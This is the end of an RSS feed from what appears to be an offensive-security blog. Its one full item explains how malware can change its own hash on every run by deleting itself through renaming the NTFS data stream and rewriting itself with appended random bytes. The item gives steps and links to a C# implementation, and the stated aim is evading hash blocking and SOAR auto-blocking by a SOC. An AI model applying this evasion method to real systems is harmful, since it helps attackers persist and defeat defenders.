        <link href="https://www.pwntricks.com/Bypass-cortex-ransomware-protection"/>
        <guid isPermaLink="true">https://www.pwntricks.com/Bypass-cortex-ransomware-protection</guid>
      </item>
    
      <item>
        <title>Polymorphic Signature Change Hash Of The Malware For Every Execution</title>
        <description>
&lt;h1 id=&quot;polymorphic-signature-change-hash-of-the-malware-for-every-execution&quot;&gt;[Polymorphic Signature] Change hash of the malware for every execution&lt;/h1&gt;

&lt;h2 id=&quot;about&quot;&gt;About&lt;/h2&gt;

&lt;p&gt;in this blog we are going to talk about make the malware change its own hash by it self for every execution utilizing self deletion method .&lt;/p&gt;

&lt;h2 id=&quot;advantages-for-red-teamer&quot;&gt;advantages for red teamer&lt;/h2&gt;

&lt;p&gt;imagine that your malware detected in the environment for some reason for example post exploitation mistake , and you have multiple beacons runs on 5 devices if the SOC team block the malware hash and they investigated then they would find your malware very quickly which result of kick you out of the environment .&lt;/p&gt;

&lt;p&gt;also using this method will bypass autoblock in that is implemented using SOAR.&lt;/p&gt;

&lt;h2 id=&quot;how-&quot;&gt;How ?&lt;/h2&gt;
&lt;p&gt;Files in NTFS file systems can have multiple streams of data in addition to the default stream, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:$DATA&lt;/code&gt;. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:$DATA&lt;/code&gt; exists for every file, providing an alternative means of accessing them.
as we know we can not delete a file that is currently used by a process , one way to get around this is by renaming the default data stream &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:$DATA&lt;/code&gt; to another random name that represents a new data stream.&lt;/p&gt;

&lt;h2 id=&quot;steps-to-preform-self-deletion&quot;&gt;steps to preform self deletion&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Retrieve File Handle&lt;/li&gt;
  &lt;li&gt;Renaming The Data Stream&lt;/li&gt;
  &lt;li&gt;Deleting The Data Stream&lt;/li&gt;
  &lt;li&gt;Refreshing File Data Stream&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;implementation-in-c&quot;&gt;implementation in C#&lt;/h2&gt;

&lt;p&gt;you can find the implementation here &lt;a href=&quot;https://github.com/casp3r0x0/PolymorphicSignature/tree/main&quot;&gt;https://github.com/casp3r0x0/PolymorphicSignature/tree/main&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;steps&quot;&gt;steps&lt;/h3&gt;
&lt;ol&gt;
  &lt;li&gt;read the current executable as byte array&lt;/li&gt;
  &lt;li&gt;append random bytes to it&lt;/li&gt;
  &lt;li&gt;do a self deletion&lt;/li&gt;
  &lt;li&gt;write new bytes to disk (old bytes +  appended byte array)&lt;/li&gt;
  &lt;li&gt;done.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;using this way every time the executable executed we will see a deferent hash see the following image :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.pwntricks.com/assets/images/2/last.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

</description>
        <pubDate>Tue, 04 Feb 2025 00:00:00 +0000</pubDate>
        <link>https://www.pwntricks.com//Polymorphic-Signature-Change-hash-of-the-malware-for-every-execution</link>
        <link href="https://www.pwntricks.com/Polymorphic-Signature-Change-hash-of-the-malware-for-every-execution"/>
        <guid isPermaLink="true">https://www.pwntricks.com/Polymorphic-Signature-Change-hash-of-the-malware-for-every-execution</guid>
      </item>
    
  </channel>
</rss>
